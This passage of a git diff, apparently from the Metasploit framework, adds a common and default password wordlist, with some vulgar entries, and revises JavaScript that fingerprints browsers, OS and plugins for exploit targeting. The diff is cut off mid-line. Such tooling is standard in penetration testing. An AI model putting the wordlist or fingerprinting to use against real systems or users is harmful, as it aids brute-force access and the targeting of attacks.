+shutup +sidney +siemens123 +siempre! +sierra +signa +silver +silvia +simba +simon +simonb +simone +simple +simpleplan +simpson +simpsons +singer +single +sister +sisters +sitecom +skate +skater +skipper +skippy +skittles +skyler +skyline +skysky21 +skywalker +slayer +sldkj754 +slideshow +slipknot +slut +sluts +sma +smallbusiness +smallville +smcadmin +smelly +smile +smiles +smiley +smith +smokey +smooth +smudge +snake +snickers +sniper +snmp +snmp-Trap +snmpd +snmptrap +snoopy +snowball +snowflake +snowman +snuggles +soccer +soccer1 +soccer2 +soccerl +soccero +socent +sofia +sofresh +softball +softballl +software +sofuck +solaris +soledad +something +somtik +sonia +sophia +sophie +sosict +soulmate +southside +sp99dd +spacemonkeys +spanky +sparkle +sparky +special +specialist +speedxess +speedy +spencer +spider +spiderma +spiderman +spike +spike04 +spirit +spitfire +spoiled +sponge +spongebob +spooky +spooml +sporting +sports +spring +sprite +sq!us3r +squ1rrel +squirt +srinivas +ssladmin +ssp +stacey +stanley +star +starfish +stargate +stark123 +starl +starlight +stars +start123 +startrek +starwars +state119 +stay-off +steaua +steelers +stefan +stella +steph +stephanie +stephen +steve +steven +stevie +stewart +sticky +stingray +stinky +storageserver +store +stormy +strasburg +stratauser +stratfor +strawberry +strike +stuart +student +stupid +sublime +success +suck +sucker +suckit +suckme +sucks +sugar +summer +summero +sun +sun12345 +sunflower +sunny +sunset +sunsh1ne! +sunshine +sunshine1 +sunvision +super +supergeil +supergirl +superman +superpass +superstar +superstart +superuser +supervisor +support +supportpw +surecom +surfer +surt +susana +suzanne +suzuki +svcPASS83 +sweet +sweet16 +sweetheart +sweetie +sweetl +sweetness +sweetpea +sweets +sweety +swimmer +swimming +switch +swordfis +swordfish +sy123456 +sydney +symantec +symbol +sync +synnet +sys +sys/change_on_install +sysAdmin +sysadm +sysadmin +sysadmpw +sysbin +syslib +sysopr +syspw +system +system1 +system32 +system_admin +sysu +t00lk1t +t00tt00t +t0ch20x +t0ch88 +t0m&j3rry +t0talc0ntr0l4! +t1m3l0rd +taco66 +tagada +tagged +taki +talent +tamara +tanglefoot +tania +tanner +tarantula1 +tarheels +tasha +tasmannet +tatercounter2000 +tatiana +tattoo +taurus +taylor +taytay +tazmania +tdvcth +te +teX1 +teacher +teamo +teamomucho +tech +technolgi +teddy +teddybear +teen +teens +teiubesc +tekiero +telco +tele +telecom +telefone +tellabs#1 +telos +temp11 +temp1234 +temp12345 +temppass +tennis +tequiero +tequieromucho +tequila +teresa +term1nat0r +terrell +terry +test +test1 +test100 +test123 +test1234 +test2 +testbed +tester +testing +testpass +testtest +texas +thailand +the +thebest +thegame +theman +themaster01 +theone +theresa +therock +theused +thisisapassword1 +thomas +three4me +throwaway +thuglife +thumper +thunder +thx1138 +tiaranet +tickle +tiffany +tiger +tiger1 +tiger123 +tigers +tigger +tigger1 +tiggerl +time +time_out +timely +timmy +timothy +tini +tinker +tinkerbell +tintin +tiny +titanic +titkos +tits +tiv0li +tivoli +tivonpw +tj1234 +tlah +tmp123 +tokiohotel +tomcat +tommy +tony +toor +tootsie +topgun +toplayer +topsecret +toptop +tornado@ +torres +toshy99 +totototo +touchpwd= +tour +toyota +tr650 +tracey +trade +trancell +trap +travis +trendimsa1.0 +trevor +triangulation +trinidad +trinity +triptrap +trisha +tristan +trixie +trmcnfg +trooper +trouble +trucks +truelove +trustno +trustno1 +tslinux +tucker +tuff1234 +tunix +turkey +turnkey +turtle +tutor +tuxalize +tweety +tweetybird +tweetyl +twilight +twinkle +twins +tyler +tyrone +tyson +uClinux +uboot +ucsucs +umountfs +umountfsys +umountsys +undertaker +unicorn +unique +united +united123 +united99 +unix +uplink +urchin +user +user0000 +userNotU +usher +usulll +uucp +uucpadm +vagina +valentin +valentina +valentine +valentino +valeria +valerie +vampire +vanesa +vanessa +vanilla +vatefairefoutre +vatten +vegeta +venigo +ventilator +veronica +vertex25 +vfnmdfie +vgnadmin +vicky +victor +victoria +victory +video +vienna12 +vienna88 +viewmaster +viewuser1 +viking +vikings +vince123 +vincent +violet +violeta +viper +virgin +virginia +virginia11 +virgo +vishal123 +vision +vision2 +visor +visual +vitaly +vitesse +vivian +viviana +vivivi +vlis +voip123 +volcom +volition +volleyball +voodoo +voyager +vpasp +w00tw00t +w0rkplac3rul3s +w2402 +w8w00rd +wachtwoord +walker +wallace +walter +wampp +wanker +wanmei +warcraft +warpdrive +warren +warrior +warriors +water +waterfire12 +watermelon +wave123 +wayne +weasel +web +webadmin +webibm +weblink +weblogic +webmaster +weeslz +welcome +welcome1 +wendimia +wendy +wesley +west123 +westlife +westside +wg +whatever +white +whitebird +whitney +whore +whynot +wibbles +wicked +wildcat +wildcats +william +williams +willie +willow +wilson +windows +windows7 +winner +winnie +winston +winston1 +winter +winterm +wipro123 +wizard +wjltnt +wlcsystem +wlpisystem +wlsedb +wlsepassword +wodj +woelco +wolf +wolfgang +wolfpack +wolverin +wolves +wombat +women +woody +world +wrestling +wrgg15_di524 +write +wutang +www +wyse +x +x-admin +x40rocks +x6zynd56 +xampp +xavier +xbox +xbox360 +xboxe6 +xceladmin +xd +xdfk9874t3 +xdr56tfc +xerox +xiazhi +ximena +xinmen +xitgmLwmp +xljlbj +xmux +xo11nE +xpsm1210 +xunlei +xupamisto +xxxx +xxxxx +xxxxxx +xxxxxxxx +xxyyzz +xyuxyu +xyzall +xyzzy +yabadabadoo +yahoo +yakiniku +yamaha +yankee +yankees +yasmin +year2000 +yellow +yellow123 +yellow22 +yes90125 +yesenia +yolanda +yomama +young +yourmom +yourock +yousuck +yoyoyo +ytrewq +yugioh +yuiop +yvette +yvonne +yyl +z0x9c8v7 +zacefron +zachary +zaq1@WSX +zaq1xsw2 +zaq1xsw2cde3 +zaqwsxcde +zaxscdvf +zazazaza +zbaaaca +zebra +zeosx +zero0zero +zero2hero +zjaaadc +zmalqp10 +zodiac666 +zombie +zoomadsl +zse4rfv +zxcpoi123 +zxcvbn +zxcvbnm +zzzz +zzzzzz diff --git a/data/js/detect/ie_addons.js b/data/js/detect/ie_addons.js index d612bd7c78..380da28d12 100644 --- a/data/js/detect/ie_addons.js +++ b/data/js/detect/ie_addons.js @@ -1,10 +1,10 @@ -window.ie_addons_detect = { }; +var ie_addons_detect = { }; /** * Returns true if this ActiveX is available, otherwise false. * Grabbed this directly from browser_autopwn.rb **/ -window.ie_addons_detect.hasActiveX = function (axo_name, method) { +ie_addons_detect.hasActiveX = function (axo_name, method) { var axobj = null; if (axo_name.substring(0,1) == String.fromCharCode(123)) { axobj = document.createElement("object"); @@ -41,7 +41,7 @@ window.ie_addons_detect.hasActiveX = function (axo_name, method) { /** * Returns the version of Microsoft Office. If not found, returns null. **/ -window.ie_addons_detect.getMsOfficeVersion = function () { +ie_addons_detect.getMsOfficeVersion = function () { var version; var types = new Array(); for (var i=1; i <= 5; i++) { diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js index fe0ba675cc..4246d752a7 100644 --- a/data/js/detect/misc_addons.js +++ b/data/js/detect/misc_addons.js @@ -1,10 +1,10 @@ -window.misc_addons_detect = { }; +var misc_addons_detect = { }; /** * Detects whether the browser supports Silverlight or not **/ -window.misc_addons_detect.hasSilverlight = function () { +misc_addons_detect.hasSilverlight = function () { var found = false; // @@ -49,7 +49,7 @@ window.misc_addons_detect.hasSilverlight = function () { /** * Returns the Adobe Flash version **/ -window.misc_addons_detect.getFlashVersion = function () { +misc_addons_detect.getFlashVersion = function () { var foundVersion = null; // @@ -96,7 +96,7 @@ window.misc_addons_detect.getFlashVersion = function () { /** * Returns the Java version **/ -window.misc_addons_detect.getJavaVersion = function () { +misc_addons_detect.getJavaVersion = function () { var foundVersion = null; // diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 408b3f92c8..218ab89d63 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -1,28 +1,30 @@ // Case matters, see lib/msf/core/constants.rb // All of these should match up with constants in ::Msf::HttpClients -clients_opera = "Opera"; -clients_ie = "MSIE"; -clients_ff = "Firefox"; -clients_chrome= "Chrome"; -clients_safari= "Safari"; +var clients_opera = "Opera"; +var clients_ie = "MSIE"; +var clients_ff = "Firefox"; +var clients_chrome = "Chrome"; +var clients_safari = "Safari"; // All of these should match up with constants in ::Msf::OperatingSystems -oses_linux = "Linux"; -oses_windows = "Microsoft Windows"; -oses_mac_osx = "Mac OS X"; -oses_freebsd = "FreeBSD"; -oses_netbsd = "NetBSD"; -oses_openbsd = "OpenBSD"; +var oses_linux = "Linux"; +var oses_android = "Android"; +var oses_windows = "Windows"; +var oses_mac_osx = "Mac OS X"; +var oses_apple_ios = "iOS"; +var oses_freebsd = "FreeBSD"; +var oses_netbsd = "NetBSD"; +var oses_openbsd = "OpenBSD"; // All of these should match up with the ARCH_* constants -arch_armle = "armle"; -arch_x86 = "x86"; -arch_x86_64 = "x86_64"; -arch_ppc = "ppc"; -arch_mipsle = "mipsle"; +var arch_armle = "armle"; +var arch_x86 = "x86"; +var arch_x86_64 = "x86_64"; +var arch_ppc = "ppc"; +var arch_mipsle = "mipsle"; -window.os_detect = {}; +var os_detect = {}; /** * This can reliably detect browser versions for IE and Firefox even in the @@ -30,9 +32,11 @@ window.os_detect = {}; * requires truthful navigator.appVersion and navigator.userAgent strings in * order to be accurate for more than just IE on Windows. **/ -window.os_detect.getVersion = function(){ +os_detect.getVersion = function(){ //Default values: var os_name; + var os_vendor; + var os_device; var os_flavor; var os_sp; var os_lang; @@ -120,11 +124,10 @@ window.os_detect.getVersion = function(){ // Android 2.3.6, opera mini 7.1 // Opera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/11.101.10 if (navigator.userAgent.indexOf("Android")) { - os_name = oses_linux; - os_flavor = "Android"; + os_name = oses_android; } else if (navigator.userAgent.indexOf("iPhone")) { - os_name = oses_mac_osx; - os_flavor = "iPhone"; + os_name = oses_apple_ios; + os_device = "iPhone"; } break; // A few are ambiguous, record them here @@ -162,28 +165,28 @@ window.os_detect.getVersion = function(){ // "Version" in the UA, see example above. Grab the webkit version // instead. =/ if (platform.match(/ipod/)) { - os_name = oses_mac_osx; - os_flavor = "iPod"; + os_name = oses_apple_ios; + os_device = "iPod"; arch = arch_armle; search = "AppleWebKit"; } else if (platform.match(/ipad/)) { - os_name = oses_mac_osx; - os_flavor = "iPad"; + os_name = oses_apple_ios; + os_device = "iPad"; arch = arch_armle; search = "AppleWebKit"; } else if (platform.match(/iphone/)) { - os_name = oses_mac_osx; - os_flavor = "iPhone"; + os_name = oses_apple_ios; + os_device = "iPhone"; arch = arch_armle; } else if (platform.match(/macintel/)) { os_name = oses_mac_osx; arch = arch_x86; } else if (platform.match(/linux/)) { os_name = oses_linux; + if (platform.match(/x86_64/)) { arch = arch_x86_64; } else if (platform.match(/arm/)) { - // Android and maemo arch = arch_armle; } else if (platform.match(/x86/)) { arch = arch_x86; @@ -191,9 +194,9 @@ window.os_detect.getVersion = function(){ arch = arch_mipsle; } - + // Android overrides Linux if (navigator.userAgent.match(/android/i)) { - os_flavor = 'Android'; + os_name = oses_android; } } else if (platform.match(/windows/)) { os_name = oses_windows; @@ -219,7 +222,15 @@ window.os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) { + if ('copyWithin' in Array.prototype) { + ua_version = '32.0'; + } else if ('fill' in Array.prototype) { + ua_version = '31.0'; + } else if (css_is_valid('background-blend-mode', 'backgroundBlendMode', 'multiply')) { + ua_version = '30.0'; + } else if (css_is_valid('box-sizing', 'boxSizing', 'border-box')) { + ua_version = '29.0'; + } else if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) { ua_version = '28.0'; } else if (css_is_valid('cursor', 'cursor', 'grab')) { ua_version = '27.0'; @@ -255,7 +266,7 @@ window.os_detect.getVersion = function(){ ua_version = '17.0'; } else if ('mozApps' in navigator && 'install' in navigator.mozApps) { ua_version = '16.0'; - } else if ('HTMLSourceElement' in window && + } else if ('HTMLSourceElement' in window && HTMLSourceElement.prototype && 'media' in HTMLSourceElement.prototype) { ua_version = '15.0'; @@ -310,13 +321,17 @@ window.os_detect.getVersion = function(){ } if (version.match(/Windows/)) { os_name = oses_windows; + // Technically these will mismatch server OS editions, but those are + // rarely used as client systems and typically have the same exploit + // characteristics as the associated client. switch(version) { - case "Windows NT 5.0": os_flavor = "2000"; break; - case "Windows NT 5.1": os_flavor = "XP"; break; - case "Windows NT 5.2": os_flavor = "2003"; break; - case "Windows NT 6.0": os_flavor = "Vista"; break; - case "Windows NT 6.1": os_flavor = "7"; break; - case "Windows NT 6.2": os_flavor = "8"; break; + case "Windows NT 5.0": os_name = "Windows 2000"; break; + case "Windows NT 5.1": os_name = "Windows XP"; break; + case "Windows NT 5.2": os_name = "Windows 2003"; break; + case "Windows NT 6.0": os_name = "Windows Vista"; break; + case "Windows NT 6.1": os_name = "Windows 7"; break; + case "Windows NT 6.2": os_name = "Windows 8"; break; + case "Windows NT 6.3": os_name = "Windows 8.1"; break; } } if (version.match(/Linux/)) { @@ -335,17 +350,17 @@ window.os_detect.getVersion = function(){ var buildid = navigator.buildID; switch(buildid) { - case "2008041514": ua_version = "3.0.0.b5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "2008041515": ua_version = "3.0.0.b5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "2008052312": ua_version = "3.0.0"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2008041514": ua_version = "3.0.0.b5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "2008041515": ua_version = "3.0.0.b5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "2008052312": ua_version = "3.0.0"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; case "2008052906": ua_version = "3.0.0"; os_name = oses_windows; break; - case "2008052909": ua_version = "3.0.0.rc1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2008052909": ua_version = "3.0.0.rc1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; case "2008052912": ua_version = "3.0.0"; os_name = oses_linux; break; - case "2008060309": ua_version = "3.0.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; + case "2008060309": ua_version = "3.0.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; case "2008070205": ua_version = "2.0.0.16"; os_name = oses_windows; break; case "2008070206": ua_version = "3.0.1"; os_name = oses_linux; break; case "2008070208": ua_version = "3.0.1"; os_name = oses_windows; break; - case "2008071222": ua_version = "3.0.1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2008071222": ua_version = "3.0.1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; case "2008072820": switch (navigator.productSub) { case "2008072820": ua_version = "3.0.1"; os_name = oses_linux; break; @@ -354,10 +369,10 @@ window.os_detect.getVersion = function(){ case "2008082909": ua_version = "2.0.0.17"; os_name = oses_windows; break; case "2008091618": ua_version = "3.0.2"; os_name = oses_linux; break; case "2008091620": ua_version = "3.0.2"; os_name = oses_windows; break; - case "2008092313": ua_version = "3.0.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2008092313": ua_version = "3.0.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; case "2008092416": ua_version = "3.0.3"; os_name = oses_linux; break; case "2008092417": ua_version = "3.0.3"; os_name = oses_windows; break; - case "2008092510": ua_version = "3.0.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2008092510": ua_version = "3.0.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; case "2008101315": switch (navigator.productSub) { case "2008101315": ua_version = "3.0.3"; os_name = oses_linux; break; @@ -365,63 +380,63 @@ window.os_detect.getVersion = function(){ } break; case "2008102918": ua_version = "2.0.0.18"; os_name = oses_windows; break; case "2008102920": ua_version = "3.0.4"; break; - case "2008112309": ua_version = "3.0.4"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Iceweasel 3.0.4 / Debian Testing (Lenny) - case "2008111317": ua_version = "3.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "2008111318": ua_version = "3.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; break; + case "2008112309": ua_version = "3.0.4"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Iceweasel 3.0.4 / Debian Testing (Lenny) + case "2008111317": ua_version = "3.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "2008111318": ua_version = "3.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; break; case "2008120119": ua_version = "2.0.0.19"; os_name = oses_windows; break; case "2008120121": ua_version = "3.0.5"; os_name = oses_linux; break; case "2008120122": ua_version = "3.0.5"; os_name = oses_windows; break; - case "2008121623": ua_version = "2.0.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 2.0.0.19 / Ubuntu 8.04 LTS (Hardy Heron) + case "2008121623": ua_version = "2.0.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 2.0.0.19 / Ubuntu 8.04 LTS (Hardy Heron) case "2008121709": ua_version = "2.0.0.20"; os_name = oses_windows; break; case "2009011912": ua_version = "3.0.6"; os_name = oses_linux; break; case "2009011913": ua_version = "3.0.6"; os_name = oses_windows; break; - case "2009012615": ua_version = "3.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "2009012616": ua_version = "3.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2009012615": ua_version = "3.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "2009012616": ua_version = "3.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; case "2009021906": ua_version = "3.0.7"; os_name = oses_linux; break; case "2009021910": ua_version = "3.0.7"; os_name = oses_windows; break; - case "2009030422": ua_version = "3.0.8"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2009030422": ua_version = "3.0.8"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; case "2009032608": ua_version = "3.0.8"; os_name = oses_linux; break; case "2009032609": ua_version = "3.0.8"; os_name = oses_windows; break; - case "2009032711": ua_version = "3.0.9"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2009032711": ua_version = "3.0.9"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; case "2009033100": switch (navigator.productSub) { - case "2009033100": ua_version = "3.0.8"; os_name = oses_linux; os_flavor = "Ubuntu"; break; - case "2009042113": ua_version = "3.0.9"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2009033100": ua_version = "3.0.8"; os_name = oses_linux; os_vendor = "Ubuntu"; break; + case "2009042113": ua_version = "3.0.9"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; } break; case "2009040820": ua_version = "3.0.9"; os_name = oses_linux; break; case "2009040821": ua_version = "3.0.9"; os_name = oses_windows; break; - case "2009042113": ua_version = "3.0.10"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "2009042114": ua_version = "3.0.10"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; + case "2009042113": ua_version = "3.0.10"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "2009042114": ua_version = "3.0.10"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; case "2009042315": ua_version = "3.0.10"; os_name = oses_linux; break; case "2009042316": ua_version = "3.0.10"; os_name = oses_windows; break; - case "20090427153806": ua_version = "3.5.0.b4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; - case "20090427153807": ua_version = "3.5.0.b4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; + case "20090427153806": ua_version = "3.5.0.b4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; + case "20090427153807": ua_version = "3.5.0.b4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; case "2009060214": ua_version = "3.0.11"; os_name = oses_linux; break; case "2009060215": ua_version = "3.0.11"; os_name = oses_windows; break; case "2009060308": switch (navigator.productSub) { - case "2009060308": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2009060308": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; } break; case "2009060309": switch (navigator.productSub) { - case "2009060309": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "Ubuntu"; break; - case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; + case "2009060309": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "Ubuntu"; break; + case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; } break; - case "2009060310": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "BackTrack"; break; - case "2009062005": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "PCLunixOS"; break; + case "2009060310": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "BackTrack"; break; + case "2009062005": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "PCLunixOS"; break; case "20090624012136": ua_version = "3.5.0"; os_name = oses_mac_osx; break; case "20090624012820": ua_version = "3.5.0"; os_name = oses_linux; break; - case "20090701234143": ua_version = "3.5.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; - case "20090702060527": ua_version = "3.5.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; + case "20090701234143": ua_version = "3.5.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; + case "20090702060527": ua_version = "3.5.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; case "2009070610": ua_version = "3.0.12"; os_name = oses_linux; break; case "2009070611": ua_version = "3.0.12"; os_name = oses_windows; break; - case "2009070811": ua_version = "3.0.13"; os_name = oses_linux; os_flavor = "Ubuntu"; break; + case "2009070811": ua_version = "3.0.13"; os_name = oses_linux; os_vendor = "Ubuntu"; break; case "20090715083437": ua_version = "3.5.1"; os_name = oses_mac_osx; break; case "20090715083816": ua_version = "3.5.1"; os_name = oses_linux; break; case "20090715094852": ua_version = "3.5.1"; os_name = oses_windows; break; - case "2009072202": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "Oracle"; break; - case "2009072711": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "CentOS"; break; + case "2009072202": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "Oracle"; break; + case "2009072711": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "CentOS"; break; case "20090729211433": ua_version = "3.5.2"; os_name = oses_mac_osx; break; case "20090729211829": ua_version = "3.5.2"; os_name = oses_linux; break; case "20090729225027": ua_version = "3.5.2"; os_name = oses_windows; break; @@ -431,34 +446,34 @@ window.os_detect.getVersion = function(){ case "20090824085743": ua_version = "3.5.3"; os_name = oses_linux; break; case "20090824101458": ua_version = "3.5.3"; os_name = oses_windows; break; case "2009082707": ua_version = "3.0.14"; break; - case "2009090216": ua_version = "3.0.14"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20090914014745": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; - case "20090915065903": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break; - case "20090915070141": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86; break; - case "20091007090112": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 - case "20091007095328": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 + case "2009090216": ua_version = "3.0.14"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20090914014745": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; + case "20090915065903": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break; + case "20090915070141": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86; break; + case "20091007090112": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 + case "20091007095328": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 case "2009101600": switch (navigator.productSub) { case "2009101600": ua_version = "3.0.15"; break; // Can be either Mac or Linux - case "20091016": ua_version = "3.5.4"; os_name = oses_linux; os_flavor = "SUSE"; arch = arch_x86; break; + case "20091016": ua_version = "3.5.4"; os_name = oses_linux; os_vendor = "SUSE"; arch = arch_x86; break; } break; case "2009101601": ua_version = "3.0.15"; os_name = oses_windows; break; case "20091016081620": ua_version = "3.5.4"; os_name = oses_mac_osx; break; case "20091016081727": ua_version = "3.5.4"; os_name = oses_linux; break; case "20091016092926": ua_version = "3.5.4"; os_name = oses_windows; break; - case "20091020122601": ua_version = "3.5.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 + case "20091020122601": ua_version = "3.5.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 case "2009102814": switch (navigator.productSub) { - case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; break; - case "2009121602": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; break; - case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_flavor = "Mint"; break; - case "2010021501": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_flavor = "Mint"; arch = arch_x86; break; - case "2010021502": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_flavor = "Mint"; arch = arch_x86_64; break; + case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; break; + case "2009121602": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; break; + case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_vendor = "Mint"; break; + case "2010021501": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_vendor = "Mint"; arch = arch_x86; break; + case "2010021502": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_vendor = "Mint"; arch = arch_x86_64; break; } break; case "2009102815": switch (navigator.productSub) { - case "2009102815": ua_version = "3.0.15"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "2009102815": ua_version = "3.0.15"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; } break; case "20091029152254": ua_version = "3.6.0.b1"; os_name = oses_linux; break; case "20091029171059": ua_version = "3.6.0.b1"; os_name = oses_windows; break; @@ -466,23 +481,23 @@ window.os_detect.getVersion = function(){ case "20091102141836": ua_version = "3.5.5"; os_name = oses_linux; break; case "20091102152451": ua_version = "3.5.5"; os_name = oses_windows; break; case "2009110421": ua_version = "3.0.15"; os_name = oses_freebsd; arch = arch_x86; break; - case "20091106091959": ua_version = "3.5.5"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; - case "20091106140514": ua_version = "3.5.5"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; - case "20091106145609": ua_version = "3.5.5"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; + case "20091106091959": ua_version = "3.5.5"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; + case "20091106140514": ua_version = "3.5.5"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; + case "20091106145609": ua_version = "3.5.5"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; case "20091108163911": ua_version = "3.6.0.b2"; os_name = oses_linux; break; case "20091108181924": ua_version = "3.6.0.b2"; os_name = oses_windows; break; case "20091109125225": switch (navigator.productSub) { - case "20091109": ua_version = "3.5.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; + case "20091109": ua_version = "3.5.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; } break; - case "20091109134913": ua_version = "3.5.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; + case 